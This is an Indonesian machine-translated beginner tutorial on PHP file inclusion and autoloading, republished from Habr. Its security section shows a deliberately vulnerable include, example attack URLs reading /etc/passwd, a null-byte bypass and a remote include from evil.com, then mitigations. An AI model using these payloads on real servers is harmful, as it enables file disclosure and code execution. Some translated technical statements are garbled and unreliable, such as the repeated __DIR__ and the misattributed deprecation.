PHP untuk pemula. Koneksi file

gambar


Sebagai kelanjutan dari seri PHP untuk Pemula, artikel hari ini akan fokus pada bagaimana PHP mencari dan menghubungkan file.

Kenapa dan mengapa


PHP adalah bahasa scripting yang awalnya dibuat untuk memahat halaman rumah (ya, ya itu awalnya P ersonal H ome P Age Tools), dan kemudian mulai membuat toko, program sosial dan kerajinan lain di atas lututnya yang melampaui apa yang dimaksudkan , tetapi mengapa saya - dan fakta bahwa semakin banyak fungsi yang disandikan, semakin besar keinginan untuk menyusunnya dengan benar, menyingkirkan duplikasi kode, memecahnya menjadi potongan-potongan logis dan menghubungkan hanya jika perlu (ini adalah perasaan yang sama yang Anda miliki ketika Anda membacanya sebelumnya posisi, itu bisa dipecah menjadi beberapa bagian). Untuk tujuan ini, PHP memiliki beberapa fungsi, yang arti umumnya adalah untuk menghubungkan dan menafsirkan file yang ditentukan. Mari kita lihat contoh menghubungkan file:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

Jika Anda menjalankan skrip index.php , maka PHP akan terhubung dan menjalankan semua ini secara berurutan:

 $a = 0; $a++; $a++; echo $a; //  2 

Ketika file terhubung, kodenya berada dalam cakupan yang sama dengan baris yang terhubung, sehingga semua variabel yang tersedia di baris ini akan tersedia dalam file yang disertakan. Jika kelas atau fungsi dideklarasikan dalam file include, maka mereka termasuk dalam lingkup global (kecuali tentu saja namespace ditentukan untuk mereka).

Jika Anda menghubungkan file di dalam fungsi, maka file yang disertakan mendapatkan akses ke lingkup fungsi, sehingga kode berikut juga akan berfungsi:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

Secara terpisah, saya mencatat konstanta ajaib : __DIR__ , __DIR__ , __DIR__ dan lainnya - mereka terikat pada konteks dan dieksekusi sebelum inklusi terjadi
Keunikan menghubungkan file adalah bahwa ketika menghubungkan file, parsing beralih ke mode HTML, untuk alasan ini setiap kode di dalam file yang disertakan harus dilampirkan dalam tag PHP:

 <?php //   // ... // ?> 

Jika Anda hanya memiliki kode PHP dalam file, sudah biasa untuk menghilangkan tag penutup, agar tidak sengaja melupakan utas karakter setelah tag penutup, yang penuh dengan masalah (saya akan membahas ini di artikel berikutnya).
Pernahkah Anda melihat file situs dengan 10.000 baris? Sudah menangis di mataku (β•₯_β•₯) ...

Fitur Koneksi File


Seperti disebutkan di atas, di PHP ada beberapa fungsi untuk menghubungkan file:

  • termasuk - sertakan dan laksanakan file yang ditentukan, jika tidak menemukannya - itu memberi peringatan E_WARNING
  • include_once - mirip dengan fungsi di atas, tetapi termasuk file sekali
  • memerlukan - termasuk dan mengeksekusi file yang ditentukan, jika tidak menemukannya - itu memberikan kesalahan fatal E_ERROR
  • require_once - mirip dengan fungsi di atas, tetapi termasuk file sekali

Pada kenyataannya, ini bukan fungsi, itu adalah konstruksi bahasa khusus, dan tanda kurung dapat dihilangkan. Di antara hal-hal lain, ada cara lain untuk menghubungkan dan mengeksekusi file, tetapi gali sendiri, biarkan itu menjadi "tugas dengan tanda bintang" untuk Anda;)
Mari kita ambil contoh perbedaan antara require dan require_once , ambil satu file echo.php :

 <p>text of file echo.php</p> 

Dan kami akan menghubungkannya beberapa kali:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

Hasil eksekusi akan berupa dua koneksi ke file echo.php :

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

Ada beberapa arahan lain yang mempengaruhi koneksi, tetapi Anda tidak akan membutuhkannya - auto_prepend_file dan auto_append_file . Arahan ini memungkinkan Anda untuk menginstal file yang akan terhubung sebelum semua file terhubung dan setelah semua skrip dieksekusi, masing-masing. Saya bahkan tidak bisa membuat skenario "langsung" ketika itu mungkin diperlukan.

Tugas
Anda dapat membuat dan menerapkan skrip untuk menggunakan auto_append_file auto_prepend_file dan auto_append_file , Anda hanya dapat mengubahnya di php.ini , .htaccess atau httpd.conf (lihat PHP_INI_PERDIR ) :)

Di mana mencari?


Pencarian PHP untuk menyertakan file dalam direktori yang ditentukan dalam direktif include_path . Arahan ini juga mempengaruhi pengoperasian fopen() , file() , readfile() dan file_get_contents() . Algoritma ini cukup sederhana - ketika mencari file, PHP bergantian memeriksa setiap direktori dari include_path , hingga menemukan file untuk dihubungkan, jika tidak, ia mengembalikan kesalahan. Untuk mengubah include_path dari skrip, gunakan fungsi set_include_path () .

Ada satu hal penting yang perlu dipertimbangkan ketika menyiapkan include_path - karakter yang berbeda digunakan sebagai pemisah jalur pada Windows dan Linux - ";" dan ":" masing-masing, jadi ketika menentukan direktori Anda, gunakan konstanta PATH_SEPARATOR , misalnya:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

Saat Anda menulis include_path dalam file ini, Anda dapat menggunakan variabel lingkungan seperti ${USER} :

include_path = ".:${USER}/my-php-library"


Jika Anda menyertakan jalur absolut (dimulai dengan "/") atau relatif (dimulai dengan "." Atau "..") saat menghubungkan file, maka arahan include_path akan diabaikan, dan pencarian hanya akan dilakukan pada jalur yang ditentukan.
Mungkin akan bermanfaat untuk berbicara tentang safe_mode , tetapi ini sudah lama menjadi cerita (sejak versi 5.4), dan saya harap Anda tidak akan menemukan itu, tetapi jika tiba-tiba, maka untuk mengetahui apa itu, tapi itu berlalu ...

Menggunakan pengembalian


Saya akan memberi tahu Anda tentang hack kecil - jika file yang disertakan mengembalikan sesuatu menggunakan konstruk return , maka data ini dapat diperoleh dan digunakan, sehingga Anda dapat dengan mudah mengatur koneksi file konfigurasi, saya akan memberikan contoh untuk ilustrasi:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

Fakta menarik, yang tanpanya juga bagus: jika fungsi didefinisikan dalam file yang disertakan, maka mereka dapat digunakan dalam file utama, terlepas dari apakah mereka dideklarasikan sebelum kembali atau setelah
Tugas
Tulis kode yang akan mengumpulkan konfigurasi dari beberapa folder dan file. Struktur file adalah sebagai berikut:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

Dalam hal ini, kode harus berfungsi sebagai berikut:

  • jika ada variabel PROJECT_PHP_SERVER di lingkungan sistem dan itu sama dengan development , maka semua file dari folder default harus terhubung, data harus dimasukkan dalam variabel $config , maka file dari folder pengembangan harus terhubung, dan data yang diterima harus menggiling item yang sesuai disimpan di $config
  • perilaku serupa jika PROJECT_PHP_SERVER adalah production (secara alami hanya untuk folder produksi )
  • jika tidak ada variabel, atau tidak diset dengan benar, maka hanya file dari folder default yang terhubung


Sambung otomatis


Dibangun dengan menghubungkan file terlihat sangat rumit, dan juga mengikuti pembaruan mereka - hadiah lain, periksa sepotong kode dari contoh artikel tentang pengecualian :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

Upaya pertama untuk menghindari "kebahagiaan" seperti itu adalah munculnya fungsi __autoload . Lebih tepatnya, itu bahkan bukan fungsi spesifik, Anda harus mendefinisikan fungsi ini sendiri, dan dengan itu Anda perlu menghubungkan file yang kami butuhkan dengan nama kelas. Satu-satunya aturan adalah bahwa untuk setiap kelas file terpisah harus dibuat dengan nama kelas (mis. MyClass harus berada di dalam file myClass.php ). Berikut adalah contoh implementasi fungsi tersebut __autoload() (diambil dari komentar di manual resmi):

Kelas yang akan kita hubungkan:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

File yang menghubungkan kelas ini:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

Sekarang tentang masalah dengan fungsi ini - bayangkan sebuah situasi di mana Anda menghubungkan kode pihak ketiga, dan ada seseorang yang sudah mendaftarkan fungsi __autoload() untuk kode Anda, dan voila:

 Fatal error: Cannot redeclare __autoload() 

Untuk menghindari hal ini, kami membuat fungsi yang memungkinkan Anda untuk mendaftarkan fungsi atau metode arbitrer sebagai pemuat kelas - spl_autoload_register . Yaitu kita dapat membuat beberapa fungsi dengan nama arbitrer untuk memuat kelas, dan mendaftarkannya menggunakan spl_autoload_register . Sekarang index.php akan terlihat seperti ini:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

Judul "tahukah Anda?": Parameter pertama spl_autoload_register() adalah opsional, dan memanggil fungsi tanpanya, fungsi spl_autoload akan digunakan sebagai pemuat, pencarian akan dilakukan pada folder dari include_path dan file dengan ekstensi .php dan .inc , tapi ini daftar dapat diperluas menggunakan fungsi spl_autoload_extensions
Sekarang setiap pengembang dapat mendaftarkan pemuatnya, hal utama adalah bahwa nama kelas tidak cocok, tetapi ini seharusnya tidak menjadi masalah jika Anda menggunakan ruang nama.
Karena fungsi canggih seperti spl_autoload_register() telah ada sejak lama, fungsi spl_autoload_register() telah dinyatakan usang dalam PHP 7.1 , yang berarti bahwa di masa mendatang fungsi ini akan sepenuhnya dihapus (X_x)
Nah, gambar telah lebih atau kurang beres, meskipun, hei, semua bootloader yang terdaftar antri saat mereka terdaftar, masing-masing, jika seseorang telah menipunya ke dalam bootloader-nya, maka alih-alih hasil yang diharapkan, bug yang sangat tidak menyenangkan akan muncul. Untuk mencegah hal ini, orang-orang pintar dewasa telah menggambarkan standar yang memungkinkan Anda untuk menghubungkan perpustakaan pihak ketiga tanpa masalah, yang utama adalah bahwa organisasi kelas di dalamnya mematuhi standar PSR-0 (sudah 10 tahun sudah) atau PSR-4 . Apa inti dari persyaratan yang dijelaskan dalam standar:

  1. Setiap perpustakaan harus hidup di namespace-nya sendiri (disebut vendor namespace)
  2. Setiap namespace harus memiliki folder sendiri.
  3. Di dalam namespace mungkin ada subruang - juga di folder terpisah
  4. Satu kelas - satu file
  5. Nama file dengan ekstensi .php harus sama persis dengan nama kelas

Contoh dari manual:
Nama kelas lengkapNamespaceDirektori basisJalan penuh
\ Acme \ Log \ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ Aura \ Web \ Response \ StatusAura \ Web/ path / ke / aura-web / src //path/to/aura-web/src/Response/Status.php
\ Symfony \ Core \ RequestSymfony \ core./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ AclZend/ usr / termasuk / Zend //usr/includes/Zend/Acl.php


Perbedaan antara kedua standar ini adalah bahwa PSR-0 mendukung kode lama tanpa namespace (mis., Sebelum versi 5.3.0), dan PSR-4 bebas dari anakronisme ini, dan bahkan menghindari bersarangnya folder yang tidak perlu.

Berkat standar ini, menjadi mungkin munculnya alat seperti komposer - manajer paket universal untuk PHP. Jika ada yang terlewat, maka ada laporan bagus dari pronskiy tentang alat ini.


Injeksi Php


Saya juga ingin berbicara tentang kesalahan pertama setiap orang yang membuat titik masuk tunggal untuk situs dalam satu index.php dan menyebutnya kerangka kerja MVC:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

Anda melihat kode, dan Anda hanya ingin mentransfer sesuatu yang berbahaya di sana:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

Hal pertama yang terlintas dalam pikiran adalah untuk menambahkan ekstensi .php dengan paksa, tetapi dalam beberapa kasus dapat dielakkan "berkat" kerentanan nol byte (baca kerentanan ini telah diperbaiki untuk waktu yang lama , tetapi tiba-tiba Anda menemukan penerjemah yang lebih tua dari PHP 5.3, well, untuk pengembangan umum juga merekomendasikan):

 //    http://domain.com/index.php?page=/etc/passwd%00 

Dalam versi modern PHP, keberadaan karakter nol byte di jalur file yang terhubung segera mengarah ke kesalahan koneksi yang sesuai, dan bahkan jika file yang ditentukan ada dan dapat dihubungkan, hasilnya akan selalu menjadi kesalahan, diperiksa sebagai berikut strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (ini berasal dari isi PHP itu sendiri)
Pikiran "berharga" kedua adalah memeriksa file di direktori saat ini:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

Yang ketiga, tetapi bukan modifikasi terakhir dari pemeriksaan ini adalah penggunaan direktif open_basedir , dengan bantuannya Anda dapat menentukan direktori tempat tepatnya PHP akan mencari file untuk dihubungkan:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

Hati-hati, arahan ini tidak hanya memengaruhi koneksi file, tetapi juga semua berfungsi dengan sistem file, mis. termasuk pembatasan ini, Anda harus yakin bahwa Anda tidak melupakan apa pun di luar direktori yang ditentukan, baik data yang di-cache, maupun file pengguna apa pun (walaupun fungsi is_uploaded_file() dan move_uploaded_file() terus bekerja dengan folder sementara untuk file yang diunduh).
Cek lain apa yang mungkin? Banyak pilihan, semuanya tergantung pada arsitektur aplikasi Anda.

Saya juga ingin mengingat keberadaan direktif allow_url_include yang "luar biasa" (tergantung pada allow_url_fopen ), ini memungkinkan Anda untuk terhubung dan mengeksekusi file PHP jarak jauh, yang jauh lebih berbahaya bagi server Anda:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

Melihat, mengingat, dan tidak pernah menggunakan, manfaatnya dimatikan secara default. Anda akan memerlukan fitur ini sedikit kurang dari sebelumnya, dalam semua kasus lainnya, letakkan arsitektur aplikasi yang benar, di mana berbagai bagian aplikasi berkomunikasi melalui API.

Tugas
Tulis skrip yang memungkinkan Anda untuk menghubungkan skrip php dari folder saat ini dengan nama, sambil mengingat tentang kemungkinan kerentanan dan menghindari kesalahan.

Kesimpulannya


Artikel ini adalah dasar-dasar dalam PHP, jadi pelajari dengan seksama, selesaikan tugas dan jangan ajukan, tidak ada yang akan mengajarkan untuk Anda.

PS


Ini adalah repost dari serangkaian artikel "PHP untuk pemula":


Jika Anda memiliki komentar pada materi artikel, atau mungkin dalam bentuk, kemudian jelaskan esensi dalam komentar, dan kami akan membuat materi ini lebih baik.

Source: https://habr.com/ru/post/id439618/


All Articles